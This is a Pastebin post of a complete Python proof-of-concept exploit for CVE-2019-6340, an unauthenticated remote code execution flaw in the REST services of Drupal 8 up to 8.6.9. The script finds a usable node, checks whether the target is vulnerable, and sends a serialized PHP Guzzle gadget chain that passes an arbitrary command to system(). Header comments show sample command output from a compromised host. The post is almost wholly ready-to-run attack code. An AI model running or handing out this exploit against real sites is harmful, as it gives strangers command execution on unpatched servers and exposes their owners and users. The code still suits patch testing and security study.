ToKeiChun

Drupal < 8.6.9 - REST Module Remote Code Execution

Apr 21st, 2019
464
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.11 KB | None | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. # CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC
  4. # 2019 @leonjza
  5.  
  6. # Technical details for this exploit is available at:
  7. # https://www.drupal.org/sa-core-2019-003
  8. # https://www.ambionics.io/blog/drupal8-rce
  9. # https://twitter.com/jcran/status/1099206271901798400
  10.  
  11. # Sample usage:
  12. #
  13. # $ python cve-2019-6340.py http://127.0.0.1/ "ps auxf"
  14. # CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC
  15. # by @leonjza
  16. #
  17. # References:
  18. # https://www.drupal.org/sa-core-2019-003
  19. # https://www.ambionics.io/blog/drupal8-rce
  20. #
  21. # [warning] Caching heavily affects reliability of this exploit.
  22. # Nodes are used as they are discovered, but once they are done,
  23. # you will have to wait for cache expiry.
  24. #
  25. # Targeting http://127.0.0.1/...
  26. # [+] Finding a usable node id...
  27. # [x] Node enum found a cached article at: 2, skipping
  28. # [x] Node enum found a cached article at: 3, skipping
  29. # [+] Using node_id 4
  30. # [+] Target appears to be vulnerable!
  31. #
  32. # USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
  33. # root 49 0.0 0.0 4288 716 pts/0 Ss+ 16:38 0:00 sh
  34. # root 1 0.0 1.4 390040 30540 ? Ss 15:20 0:00 apache2 -DFOREGROUND
  35. # www-data 24 0.1 2.8 395652 57912 ? S 15:20 0:08 apache2 -DFOREGROUND
  36. # www-data 27 0.1 2.9 396152 61108 ? S 15:20 0:08 apache2 -DFOREGROUND
  37. # www-data 31 0.0 3.4 406304 70408 ? S 15:22 0:04 apache2 -DFOREGROUND
  38. # www-data 39 0.0 2.7 398472 56852 ? S 16:14 0:02 apache2 -DFOREGROUND
  39. # www-data 44 0.2 3.2 402208 66080 ? S 16:37 0:05 apache2 -DFOREGROUND
  40. # www-data 56 0.0 2.6 397988 55060 ? S 16:38 0:01 apache2 -DFOREGROUND
  41. # www-data 65 0.0 2.3 394252 48460 ? S 16:40 0:01 apache2 -DFOREGROUND
  42. # www-data 78 0.0 2.5 400996 51320 ? S 16:47 0:01 apache2 -DFOREGROUND
  43. # www-data 117 0.0 0.0 4288 712 ? S 17:20 0:00 \_ sh -c echo
  44.  
  45. import sys
  46. from urllib.parse import urlparse, urljoin
  47.  
  48. import requests
  49.  
  50.  
  51. def build_url(*args) -> str:
  52. """
  53. Builds a URL
  54. """
  55.  
  56. f = ''
  57. for x in args:
  58. f = urljoin(f, x)
  59.  
  60. return f
  61.  
  62.  
  63. def uri_valid(x: str) -> bool:
  64. """
  65. https://stackoverflow.com/a/38020041
  66. """
  67.  
  68. result = urlparse(x)
  69. return all([result.scheme, result.netloc, result.path])
  70.  
  71.  
  72. def check_drupal_cache(r: requests.Response) -> bool:
  73. """
  74. Check if a response had the cache header.
  75. """
  76.  
  77. if 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT':
  78. return True
  79.  
  80. return False
  81.  
  82.  
  83. def find_article(base: str, f: int = 1, l: int = 100):
  84. """
  85. Find a target article that does not 404 and is not cached
  86. """
  87.  
  88. while f < l:
  89. u = build_url(base, '/node/', str(f))
  90. r = requests.get(u)
  91.  
  92. if check_drupal_cache(r):
  93. print(f'[x] Node enum found a cached article at: {f}, skipping')
  94. f += 1
  95. continue
  96.  
  97. # found an article?
  98. if r.status_code == 200:
  99. return f
  100. f += 1
  101.  
  102.  
  103. def check(base: str, node_id: int) -> bool:
  104. """
  105. Check if the target is vulnerable.
  106. """
  107.  
  108. payload = {
  109. "_links": {
  110. "type": {
  111. "href": f"{urljoin(base, '/rest/type/node/INVALID_VALUE')}"
  112. }
  113. },
  114. "type": {
  115. "target_id": "article"
  116. },
  117. "title": {
  118. "value": "My Article"
  119. },
  120. "body": {
  121. "value": ""
  122. }
  123. }
  124.  
  125. u = build_url(base, '/node/', str(node_id))
  126. r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
  127.  
  128. if check_drupal_cache(r):
  129. print(f'Checking if node {node_id} is vuln returned cache HIT, ignoring')
  130. return False
  131.  
  132. if 'INVALID_VALUE does not correspond to an entity on this site' in r.text:
  133. return True
  134.  
  135. return False
  136.  
  137.  
  138. def exploit(base: str, node_id: int, cmd: str):
  139. """
  140. Exploit using the Guzzle Gadgets
  141. """
  142.  
  143. # pad a easy search replace output:
  144. cmd = 'echo ---- & ' + cmd
  145. payload = {
  146. "link": [
  147. {
  148. "value": "link",
  149. "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000"
  150. "GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\""
  151. "close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:"
  152. "{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";"
  153. "s:|size|:\"|command|\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000"
  154. "stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000"
  155. "GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\""
  156. "resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
  157. "".replace('|size|', str(len(cmd))).replace('|command|', cmd)
  158. }
  159. ],
  160. "_links": {
  161. "type": {
  162. "href": f"{urljoin(base, '/rest/type/shortcut/default')}"
  163. }
  164. }
  165. }
  166.  
  167. u = build_url(base, '/node/', str(node_id))
  168. r = requests.get(f'{u}?_format=hal_json', json=payload, headers={"Content-Type": "application/hal+json"})
  169.  
  170. if check_drupal_cache(r):
  171. print(f'Exploiting {node_id} returned cache HIT, may have failed')
  172.  
  173. if '----' not in r.text:
  174. print('[warn] Command execution _may_ have failed')
  175.  
  176. print(r.text.split('----')[1])
  177.  
  178.  
  179. def main(base: str, cmd: str):
  180. """
  181. Execute an OS command!
  182. """
  183.  
  184. print('[+] Finding a usable node id...')
  185. article = find_article(base)
  186. if not article:
  187. print('[!] Unable to find a node ID to reference. Check manually?')
  188. return
  189.  
  190. print(f'[+] Using node_id {article}')
  191.  
  192. vuln = check(base, article)
  193. if not vuln:
  194. print('[!] Target does not appear to be vulnerable.')
  195. print('[!] It may also simply be a caching issue, so maybe just try again later.')
  196. return
  197. print(f'[+] Target appears to be vulnerable!')
  198.  
  199. exploit(base, article, cmd)
  200.  
  201.  
  202. if __name__ == '__main__':
  203.  
  204. print('CVE-2019-6340 Drupal 8 REST Services Unauthenticated RCE PoC')
  205. print(' by @leonjza\n')
  206. print('References:\n'
  207. ' https://www.drupal.org/sa-core-2019-003\n'
  208. ' https://www.ambionics.io/blog/drupal8-rce\n')
  209. print('[warning] Caching heavily affects reliability of this exploit.\n'
  210. 'Nodes are used as they are discovered, but once they are done,\n'
  211. 'you will have to wait for cache expiry.\n')
  212.  
  213. if len(sys.argv) <= 2:
  214. print(f'Usage: {sys.argv[0]} <target base URL> <command>')
  215. print(f' Example: {sys.argv[0]} http://127.0.0.1/ id')
  216.  
  217. target = sys.argv[1]
  218. command = sys.argv[2]
  219. if not uri_valid(target):
  220. print(f'Target {target} is not a valid URL')
  221. sys.exit(1)
  222.  
  223. print(f'Targeting {target}...')
  224. main(target, command)
Add Comment
Please, Sign In to add comment